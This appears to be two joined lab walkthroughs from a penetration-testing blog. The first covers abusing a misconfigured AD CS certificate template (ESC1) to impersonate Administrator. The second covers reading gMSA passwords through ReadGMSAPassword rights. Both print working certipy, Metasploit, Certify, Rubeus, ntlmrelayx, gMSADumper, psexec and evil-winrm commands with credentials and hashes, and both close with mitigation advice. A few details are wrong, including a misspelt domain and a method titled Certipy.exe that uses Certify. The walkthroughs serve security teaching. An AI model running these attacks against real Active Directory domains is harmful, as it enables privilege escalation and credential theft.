AD Certificate Exploitation: ESC1

The AD CS (Active Directory Certificate Services) certificate template is a predefined configuration in Microsoft AD CS that defines the type of certificate a user, computer, or service can request. It specifies parameters such as the intended purpose of the certificate, encryption algorithms, validity period, and whether it can be auto-enrolled.

These templates allow administrators to control the issuance and management of certificates within an organization’s Active Directory environment. AD CS uses these templates to standardize certificate issuance, making it easier to deploy secure certificates for users, computers, and services.

Some common types of certificate templates include:

1. User Certificate – Used for authenticating users.
2. Computer Certificate – Used for authenticating computers.
3. Web Enrollment Certificate – Used for enrolling via the web.
4. Code Signing Certificate – Used to sign software or applications.

Table of Content

Active Directory Certificate Services (AD CS) – Certificate Flow

Understanding Enrollment Right Misconfigurations

Prerequisites

Lab Setup

Enumeration & Exploitation

·        Methods 1: Certipy-ad

·        Methods 2: Metasploit

·        Methods 3:  Certify.exe

Mitigation Strategies

 

Active Directory Certificate Services (AD CS) – Certificate Flow

Setup à Request  à Approval à Use à Renewal or Revocation à Validity Check

 

1. Setup

The organization sets up a Certificate Authority (CA) – this acts like an official office that issues digital identity cards (certificates) to users and computers.

2. Request

A user or device asks the CA:

“Please give me a certificate.”

This can happen:

·        Automatically (via Group Policy for domain-joined systems)

·        Manually (using tools like MMC, certreq, or web enrollment)

3. Approval

The CA checks:

“Is this a valid and authorized request?”

If yes, it signs the certificate (just like stamping and issuing an ID card) and sends it back to the requester.

4. Use

The issued certificate is now used for secure purposes, such as:

·        Logging into domain computers

·        Enabling HTTPS on web servers

·        Email encryption and signing

·        VPN and Wi-Fi authentication

·        IPsec communication

5. Renewal or Revocation

• Renewal: Before a certificate expires, the system or user can request a new one.
• Revocation: If the certificate is compromised or no longer needed, the CA can revoke (cancel) it.

6. Validity Check

Other systems regularly check:

“Is this certificate still valid and trusted?”

They look at:

·        Certificate Revocation Lists (CRL)

·        Online Certificate Status Protocol (OCSP)

to verify if the certificate is still good or has been revoked.

 

In this article, we will exploit misconfigured ADCS certificate template to request a certificate for any user like administrator and use it for authentication

 

Understanding Enrollment Rights Misconfiguration

 Enrollment Rights Misconfiguration occurs when an Active Directory Certificate Services (AD CS) template has the following misconfigurations:

·        ENROLLEE_SUPPLIES_SUBJECT → Allows users to specify their own Subject Alternative Name (SAN).

·        Any Purpose (EKU: 1.3.6.1.5.5.7.3.3) → Allows authentication with the certificate.

·        No Manager Approval Required → Directly issues certificates.

·        Accessible to Low-Privilege Users → Any domain user can request a certificate.

If any of these are seen this means, any authenticated user can request a certificate for another user like Administrator and then use that certificate for authentication and privilege escalation.

 

 

The image given below will help you to understand the type of policy that is used to certificate purpose. For example, here the given certificate is design for clients or user authentication.

 

 

Prerequisites

·        Windows Server 2019 as Active Directory that supports PKINIT

·        Domain must have Active Directory Certificate Services and Certificate Authority configured.

·        Kali Linux

·        Tools: Rubeus.exe, certify.exe, Impacket, certipy-ad, Metasploit

Lab Setup

In this lab setup, we will create a user named 'aarti' and add her to the Domain Users group, specifically to the IGNITE\Domain Users group, where 'aarti' will be a member. This setup will demonstrate how attackers can exploit misconfigurations in an Active Directory Certificate Services (AD CS) template, leading to privilege escalation.Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server configured as a Domain Controller (DC) and a controlled Active Directory lab that includes a vulnerable certificate template.

Domain Controller:

·        Install Windows Server (2016 or 2019 recommended) that supports PKINIT.

·        Promote it to a Domain Controller by adding the Active Directory Domain Services

·        Set up the domain (e.g., Ignite).

·        The domain must have Active Directory Certificate Services (Read more) and a Certificate Authority

 

Let’s have a walkthrough of the lab setup following with the Creation of a Vulnerable Certificate Template in AD CS we already discussed.

we will configure a misconfigured certificate template in Active Directory Certificate Services (AD CS) that allows for ESC1 exploitation. This involves duplicating an existing certificate template, enabling subject name supply, and setting permissions that make it vulnerable.

Open certsrv.msc (Certificate Authority) by using the run box in your windows AD CS

Navigate to Certificate Templates → Manage

 

You will see the list of various certificate templates, Duplicate the code signing template by simply clicking duplicate template

 

 

Edit the properties of the new template Under the General tab where Change Template display name to something like Custom_ESC1.

 

 

Navigate to the Subject Name tab and Select "Supply in the request" → This is the key misconfiguration that allows attackers to request certificates for any user.

Note: Allowing users to manually specify the Subject Name when requesting a certificate enables attackers to request certificates for any username, including Administrator, and, when combined with ESC1 misconfigurations, facilitates privilege escalation.

Modify Permissions (Access for All Users) navigate to the Security tab where you can see Authenticated Users or Click Add, then type Authenticated Users → Click OK to Select Authenticated Users.

But in this case, we will modify the permissions for the Domain Users group. Click Add, type Domain Users, and then add it to the group.

Select Domain Users and check the following permissions: Enroll

 

 

Expend the property of Custom_ESC1 certificate and Navigate to the Extensions tab and Select "Application Policies" → This defines how a certificate can be used. 

Click on Edit button

Now select Add button under Application policies box

Here we are required to add the application policies, select Client Authentication and Click on ok.

Now we are required to Publish the Template we created to the CA

Go back to the Certificate Authority (certsrv.msc) window. Right-click Certificate Templates → Click New → Certificate Template to Issue.

 

Find Vulnerable Template in the list and select it in our case we created it as Custom_ESC1.

Click OK to publish it.

We must Understand Why This Template is Vulnerable because we commence some misconfiguration as:

·        Allowing Subject Alternative Name (SAN) Manipulation → Attackers can request a certificate as Administrator@ignite.local,

 

Note: This issue occurs in Certificate Template Management (certtmpl.msc) under the "Request Handling" settings in the template. The mistake is that the "Supply in the request" option allows users to specify any Subject Alternative Name (SAN), enabling attackers to request certificates for Administrator, Domain Admins, or service accounts.

 

·        Making Accessible to All Domain Users → Any domain user belonging to domain user group can enroll.

 

Note: This issue occurs when creating or modifying a certificate template in certsrv.msc or setting "Enrollment Permissions" in Active Directory Users & Computers (ADUC). The mistake is allowing "Domain Users" group to enroll in the template or granting "Enroll" or "AutoEnroll" permissions to everyone in the group.

 

·        No Additional Approval Needed → No admin intervention is required to issue a certificate.

 

Note: This issue occurs in Certification Authority MMC (certsrv.msc) under "Certificate Template Properties." The mistake is allowing certificates to be issued without manual approval, which enables attackers to request an Administrator certificate without triggering alerts.

This configuration makes the ESC1 attack possible, where a low-privileged user can request a certificate for a privileged account, authenticate using it, and escalate privileges.

Enumeration and Exploitation Methods

Once this template is configured, an attacker can use various tools to request an Administrator certificate and gain elevated access.

Now that the vulnerable certificate template (Custom_ESC1 or you may have set the another name of template) is configured, the next steps involve:

Method 1 : Certipy-ad

Step 1: Enumerate Certificate Templates

Before attacking, we must identify vulnerable certificate templates. For this we will use Linux tool name certipy-ad (Certipy-ad – it is a python tool for AD CS attacks)

certipy-ad find -u ‘aarti@ignite.local’ -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Now it’s time to look for the template that we saved just now and look for "Domain Users" with Enroll permissions. If Vulnerable Template appears in the results which is Custom_ESC1 in our case, move to the next step.

Step 2: Request a Certificate as Administrator

On Linux (using Certipy), you can run the following command:

Certipy-ad req -u aarti@iginite.local -p Password@1 -dc-ip 192.168.1.48 -ca ignite-DC1-CA -target ‘dc1.ignite.local’ -template ‘Custom_ESC1’ -upn administrator@ignite.local -dc-ip <DC_IP>

If successful, an authentication certificate will be generated

Step 3: Authenticating as Administrator

Now its time to authenticate with given certificate as an administrator by launching simple command as

Certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

Step 4: Dump NTLM Hashes for Post Exploitation

Once authenticated as Administrator, dump NTLM hashes from the Domain Controller

Step 5: Lateral Movement & Privilege Escalation

After obtaining NTLM hashes, move laterally using Pass-the-Hash (PTH) attacks.

For this using an amazing tool impacket with the command

Impacket-psexec -hashesh ‘aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38’ administrator@192.168.1.48

 

Method 2 : Metasploit

Metasploit, a powerful penetration testing framework, can automate ESC1 exploitation by:

Step 1: Enumerating AD CS misconfigurations

Before attacking, enumerate certificate templates to check for misconfigurations. Metasploit’s ldap_esc_vulnerable_cert_finder automates the process of finding misconfigured certificate templates that allow privilege escalation.

Start Metasploit and load the LDAP enumeration module.

msfconsole

use auxiliary/gather/ldap/ldap_esc_vulnerable_cert_finder

set RHOSTS 192.168.1.48

set DOMAIN ignite.local

set USERNAME aarti

set PASSWORD Password@1

run

·        The RHOSTS is the Domain Controller’s IP address.

·        The DOMAIN is the target Active Directory domain

·        The USERNAME & PASSWORD are for a low-privileged AD user.

The module will check misconfigured certificate templates.

Look for:"Domain Users" can enroll

Once a vulnerable template is found, we can request a certificate as Administrator.

 

Step 2: Requesting certificates for privilege escalation

 

Load the Certificate Request Module

use auxiliary/admin/dcerpc/icpr_cert

set RHOSTS 192.168.1.40

set CA "ignite-DC1-CA\LAB-DC"

set cert_template Custom_ESC1

set smbdomain ignite.local

set smbuser aarti

setsmbpass Password@1

run

This requests a Kerberos authentication certificate for Administrator.

 If successful, a .pfx certificate file is saved.

 

Step 3: Using certificates for Pass-the-Certificate (PtC) attacks

Load the kerberos Module

use auxiliary/admin/kerberos/get_ticket

Set rhosts 192.168.1.48

Set domain ignite.local

Set action GET_HASH

set CERT_FILE /root/.msf4/loot/20250108132859_default_192.168.1.48_windows.ad.cs_493919.pfx

set username Administrator

run

Uses NTLM hash authentication to move laterally with your favourite techniques and tools.

 

Method 3 : Certipy.exe

Step 1: Vulnerable Certificate Template Existence

When logged in with any user belonging to the Domain Users group, such as the aarti user in this case, you can use your preferred tools to confirm the presence of a vulnerable template.  In this Case to do this, run the following command using Certify.exe — a Windows tool that helps enumerate and exploit AD CS vulnerabilities. The command listed below will display all certificate templates and flag any misconfigurations.

Run the command

Certify.exe find /vulnerable /currentuser

You can also find for ENROLLEE_SUPPLIES_SUBJECT flag little down which confirms your template vulnerable to the attack.

 

Step 2: Request a Certificate as Administrator

Once we identify a vulnerable template, request a certificate for Administrator.

Fire up the command as

Certify.exe request /ca:DCI.ignite.local\ignite-DC1-CA /template:Custom_ESC1 /altname:ignite.local\administrator

 

Requests a certificate and saves it as a .pfx file (e.g., cert.pfx). You can use tools of your choice or same certify.exe tool to save the requested certificate here we move with the tool openssl to export the certificate

Launch the command as

.\openssl pkcs12 -in cert.pem -keyex -csp “Microsoft Enhanced Cryptographicprovider v1.0” -Export -out c:\Users\public\cert.pfx

 Although we have successfully generated the authentication certificate, we are unable to access the C$ share when attempting to list it via SMB by using the command:

dir \\dc1.ignite.local\C$

Step 3: Requesting a Kerberos TGT using the certificate

Now lets try Rubeus.exe to obtain a ticket Granting Ticket (TGT) for administrator from the domain controller. If Sucessful , the output will contain a Base64-Encoded TGT

 

Step 4: Inject the TGT into the current session

Once we have TGT, we can inject it into the memory to assume administrator privileges

Just fire the command

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt

This enables the current session to operate as administrator you can verify it with use of ticket for privilege escalation by just trying to access the path C$ of DC.

Mitigation Strategies

·        Restrict Certificate Template Permissions → Only privileged users should have enrollment rights.

·        Enforce Strong Cryptography → Use RSA 3072/4096-bit and SHA-256/SHA-512.

·        Disable User-defined SAN Attributes → Prevent unauthorized impersonation.

·        Monitor Certificate Issuance → Enable auditing for Event IDs 4886, 4887, 4768.

·        Implement Certificate Revocation Policies → Use CRLs and OCSP to invalidate stolen certificates.

MD.  Aslam

A dynamic Information Security leader committed to driving security excellence and mentoring teams to strengthen security across products, networks, and organizations.

https://www.linkedin.com/in/md-aslam-7b04ab144

https://x.com/mdaslam02969588?s=08

Credential Dumping: GMSA

Abusing AD-DACL: ReadGMSAPassword

ReadGMSAPassword Attack is a technique where attackers abuse misconfigured Group Managed Service Accounts (gMSA) to retrieve their passwords. In Active Directory, only specific computers or users should have the permission to read a gMSA's password. However, if these permissions are misconfigured, an attacker with access to a machine that can query the gMSA password can extract it and use it to authenticate as that service account. Once obtained, the gMSA credentials can be used for lateral movement, privilege escalation, and persistence within the domain. Attackers can also perform Pass-the-Hash (PtH) or Overpass-the-Hash attacks using the extracted NT hash of the gMSA password, allowing them to impersonate the account and access other network resources. Properly securing gMSA permissions and monitoring account access is crucial to preventing this attack.

This guide will provide an in-depth explanation of ReadGMSAPassword, covering its working mechanism, the key attributes involved, and how attackers exploit it. Additionally, we will demonstrate an attack scenario where an attacker manipulates delegation settings to gain control over a privileged account.

Table of Contents

ReadGMSAPassword

Prerequisites

Lab Setup

Exploitation Phase

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Use Alternate Authentication Material: Pass the Hash (T1550.002)

• gMSADumper
• nxc
• ntlmrelayx
• ldap_shell
• GMSAPasswordReader

Post Exploitation

Detection & Mitigation

 

Understanding Group Managed Service Account (gMSA)

A Group Managed Service Account (gMSA) is a special type of Active Directory (AD) account designed for running automated services securely. It was introduced in Windows Server 2012 to address the common problem of managing service account passwords. Unlike traditional service accounts, where passwords are often manually set and rarely changed, gMSAs are designed to be automatically managed by AD.

Why Do We Need gMSAs?

Before gMSAs, administrators often used regular user accounts for services, but this led to major security risks:

 

·        Weak or Unchanged Passwords: Service account passwords were rarely rotated, making them vulnerable to brute-force and credential theft attacks.

·        Manual Management: Admins had to manually change service account passwords, which was error-prone and difficult to scale.

·        Kerberoasting Attacks: Service account passwords could be cracked if an attacker obtained a Kerberos ticket.

 

How gMSAs Improve Security

·        Automatic Password Rotation: AD generates and updates a complex password every 30 days (default setting).

·        No Manual Password Management: Administrators never need to know or manage the password.

·        Multiple Machines Can Use a gMSA: Unlike normal service accounts, multiple computers can use the same gMSA securely.

 

How gMSAs Work - Key Concepts

·        Automatic Password Generation: The Key Distribution Service (KDS) root key in AD is responsible for generating gMSA passwords.

·        Password Storage: The password is stored in an attribute called msDS-ManagedPassword, which only authorized users and machines can retrieve.

·        Access Control: The msDS-GroupMSAMembership attribute defines which accounts can retrieve the password.

 

Key Attributes of gMSA

A gMSA has special Active Directory attributes that store its information:

·        msDS-ManagedPassword – Stores the current and previous gMSA passwords in encrypted form.

·        msDS-ManagedPasswordID – Stores the key ID used to generate the current password.

·        msDS-ManagedPasswordPreviousID – Stores the key ID used to generate the previous password.

·        msDS-GroupMSAMembership – Defines which users/computers can request the password.

·        msDS-ManagedPasswordInterval – Defines how often (in days) the password changes (default: 30 days).

 

How Attackers Can Abuse gMSAs - ReadGMSAPassword

This privilege allows you to read the password for a Group Managed Service Account (GMSA). 

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

 

While gMSAs improve security, attackers can still abuse misconfigured gMSAs in several ways:

 

·        Stealing the gMSA Password: If an attacker has access to a machine that can retrieve the gMSA password, they can extract it using PowerShell or LDAP queries. The extracted password can then be used to authenticate as the gMSA.

·        Pass-the-Hash (PtH) Attacks: Once an attacker gets the NT hash of the gMSA password, they can perform a Pass-the-Hash attack to gain access to systems.

·        Overpass-the-Hash (Pass-the-Ticket) Attacks: Attackers can convert the extracted NT hash into a Kerberos ticket and use it to impersonate the gMSA.

·        Running Malicious Services: If an attacker has control over a computer that can use a gMSA, they can create a malicious service or scheduled task that runs as the gMSA, gaining elevated access.

 

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Impacket, gMSADumper, nxc, Ldap_Shell, GMSAPasswordReader
• Windows 10/11 – As Client

Lab Setup

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·        Install Windows Server (2016 or 2019 recommended).

·        Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·        Set up the domain (e.g., ignite.local).

User Accounts:

·        Create a standard user account named Komal.

net user komal Password@1 /add /domain

 

Set up gMSA on the Domain Controller Computer

Create a security group for gMSA Access:

Open Active Directory Users and Computers (ADUC). Right-click on Groups → Click New → Group.

 

 

Name the group (e.g., gmsa_Group). Set Group Scope to Global and Group Type to Security. Click OK to create the group.

 

Add required user and computer in this group:

 

Computers using gMSA must be in this group, or they won’t be able to retrieve the password. Here in this case computer name is MSEDGEWIN10, and user name is Komal.

 

net group "gmsa_group" "komal" /add /domain

net group "gmsa_group" "MSEDGEWIN10$" /add /domain

 

 

Create a KDS Root Key in the Domain:

The Key Distribution Service (KDS) Root Key is a cryptographic key in Active Directory (AD) that facilitates the secure generation and distribution of passwords for Group Managed Service Accounts (gMSA). It is stored within AD and ensures that only authorized Domain Controllers (DCs) can generate and manage gMSA passwords. This key plays a crucial role in maintaining the integrity and security of automatic password management within an AD environment.

The KDS Root Key is essential because gMSAs rely on automatic password rotation without manual intervention. To achieve this, AD requires a secure and consistent method to create and distribute these passwords across multiple DCs. The KDS Root Key ensures that all DCs use the same cryptographic algorithm to generate gMSA passwords, preventing discrepancies. Additionally, it restricts password access only to authorized DCs, reducing the risk of unauthorized retrieval or credential theft. Without the KDS Root Key, gMSAs cannot function, making it a mandatory component in any gMSA deployment.

To create a KDS Root Key, you run the following PowerShell command on a Domain Controller

This command creates a new KDS Root Key in Active Directory and makes it effective immediately by setting the activation time to 10 hours in the past. This ensures that the key is available for use right away.

Add-KdsRootKey -EffectiveTime ((get-date).addhours(-10))

To check if the KDS Root Key is present, run:

Get-KdsRootKey

This command retrieves and displays the existing KDS Root Keys stored in Active Directory, allowing administrators to verify their presence and status.

Create the gMSA Account:

Once the KDS Root Key is set up, the next step is to create the Group Managed Service Account (gMSA) in Active Directory. This is done using the New-ADServiceAccount PowerShell cmdlet.

Choose a unique name for the gMSA (e.g., MyGMSA1). Assign it to a specific DNS host (usually the domain).  Specify a security group that contains the computers allowed to retrieve the gMSA password.

New-ADServiceAccount -Name "MyGMSA1" -DNSHostName "WIN-QFEJMS5SM88.ignite.local"  -PrincipalsAllowedToRetrieveManagedPassword "gmsa_grp"

This command retrieves details of the gMSA account (MyGMSA1) and specifically lists the computers or security groups allowed to retrieve its password. It helps verify which systems have access to the gMSA credentials for security and troubleshooting purposes.

Get-ADServiceAccount MyGMSA1 -Properties PrincipalsAllowedToRetrieveManagedPassword

To verify the gMSA account in AD:

Open ADUC. Navigate to Managed Service Accounts under the domain. You should see MyGMSA listed.

The Remote Management Users group grants permission to use WinRM (Windows Remote Management) and PowerShell Remoting on the machine.

By adding a gMSA to this group, services running under the gMSA can remotely execute commands, manage configurations, and interact with the system using PowerShell Remoting without requiring interactive logins.

Open ADUC. Navigate to Remote Management Users under the Users container, right click on it and go to properties

Add MyGMSA account inside the Members tab, click on OK.

 

 

Assign an SPN:

To allow authentication via Kerberos, assign a Service Principal Name (SPN)

This command registers a Service Principal Name (SPN) for the gMSA account MyGMSA in the ignite.local domain. It allows the account to authenticate using Kerberos for the specified service (hackingarticles/ MSEDGEWIN10.ignite.local)

setspn -a hackingarticles/ MSEDGEWIN10.ignite.local ignite.local\MyGMSA

Install the gMSA on Target Computer (Client Machine: MSEDGEWIN10)

Computers that need to use the gMSA must install it locally.

Below command installs the Active Directory PowerShell module on a Windows machine. The module is required to manage AD objects, including gMSAs, users, and computers. It is part of RSAT (Remote Server Administration Tools) and must be installed before using AD-related cmdlets

Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0

Below command installs the gMSA account (MyGMSA) on the local machine, allowing it to retrieve and use the managed password. The machine must be part of the security group associated with the gMSA, or the installation will fail.

Install-ADServiceAccount -Identity "MyGMSA"

Below command verifies whether the gMSA account (MyGMSA) is correctly installed and configured on the local machine. It checks if the machine can retrieve the gMSA password and use it for authentication. A successful test confirms that the gMSA is ready for use.

Test-ADServiceAccount -Identity "MyGMSA"

The gMSA is now fully set up and ready for use.

 

Exploitation Phase

Bloodhound - Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal can retrieve the password for the GMSA MYGMSA$@IGNITE.LOCAL.

bloodhound-python -u komal -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

 

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the group degree of object control value is equal to 1.

BloodHound helps identify delegation misconfigurations that can be exploited for ReadGMSAPassword attacks.

MYGMSA$@IGNITE.LOCAL is a Group Managed Service Account. The group GMSA_GROUP@IGNITE.LOCAL can retrieve the password for the GMSA MYGMSA$@IGNITE.LOCAL

 

Method for Exploitation – Use Alternate Authentication Material: Pass the Hash (T1550.002)

An attacker can read the GMSA password of the account this ACE (ReadGMSAPassword) applies to.

gMSADumper

On UNIX-like systems, gMSADumper (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications.

Clone the repository:

git clone https://github.com/micahvandeusen/gMSADumper

cd gMSADumper

And, run the script

python3 gMSADumper.py -u komal -p Password@1 -d ignite.local -l 192.168.1.48

nxc

Alternatvely, nxc tool can used to enumerate Group Managed Service Accounts (gMSA) in Active Directory using LDAP queries

nxc ldap ignite.local -u komal -p Password@1 --gmsa

 

NTLMRelayx

Impacket's ntlmrelayx (Python) tool can be used to read and decode gMSA passwords.

impacket-ntlmrelayx -t ldaps://192.168.1.48 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs

Trigger a callback via browser, using komal user’s credentials

After a brief wait, we receive an HTTP connection from the komal user’s account along with gMSA NTLM credentials.

Ldap_shell

This can also be achieved using ldap_shell:

Clone the repository and install:

git clone https://github.com/PShlyundin/ldap_shell

cd ldap_shell

python3 -m pipx install .

Use get_laps_gmsa option, after getting shell as komal user.

ldap_shell ignite.local/komal:Password@1 -dc-ip 192.168.1.48

Windows Exploitation

GMSAPasswordReader

On Windows systems (komal user’s client machine), GMSAPasswordReader (C#) can be used to read gMSA passwords.

Download the exe from https://github.com/ricardojba/Invoke-GMSAPasswordReader

Invoke-GMSAPasswordReader -Command "--AccountName MyGMSA"

 

Post-Exploitation

Perform lateral movement using evil-winrm, using pass the hash technique

evil-winrm -i 192.168.1.48 -u MyGMSA$ -H 942bf4cc93e95fb0b7f98f9c5346ceae

 

Detection & Mitigation

Detection

Detecting unauthorized reads of the msDS-ManagedPassword attribute can be challenging, especially if performed by a computer account. However, regular users should never access gMSA passwords, making it crucial to monitor Active Directory event logs for any non-computer account attempting to read them.

Additionally, track changes to msDS-GroupMSAMembership, which controls which entities can retrieve gMSA passwords.

Event ID 4662 (Audit Directory Service Access) logs access attempts to AD objects based on system access control lists (SACLs). To detect gMSA password reads, filter for:

• Operation Type: Object Access
• Accesses: Read Property
• Properties: This is the GUID of the msDS-ManagedPassword attribute.

Mitigation

Mitigating gMSA exploitation requires securing Active Directory privileges to prevent unauthorized modification of gMSA permissions or password access. Implement the following best practices:

• Enforce Least Privilege: Regularly audit and restrict permissions to modify gMSA accounts, ensuring only necessary entities have access.
• Monitor gMSA Access: Continuously review the msDS-GroupMSAMembership attribute to ensure only authorized computer accounts can retrieve the password.
• Enable Real-Time Alerts: Set up monitoring to detect and alert on any changes to gMSA permissions, allowing swift response to potential threats.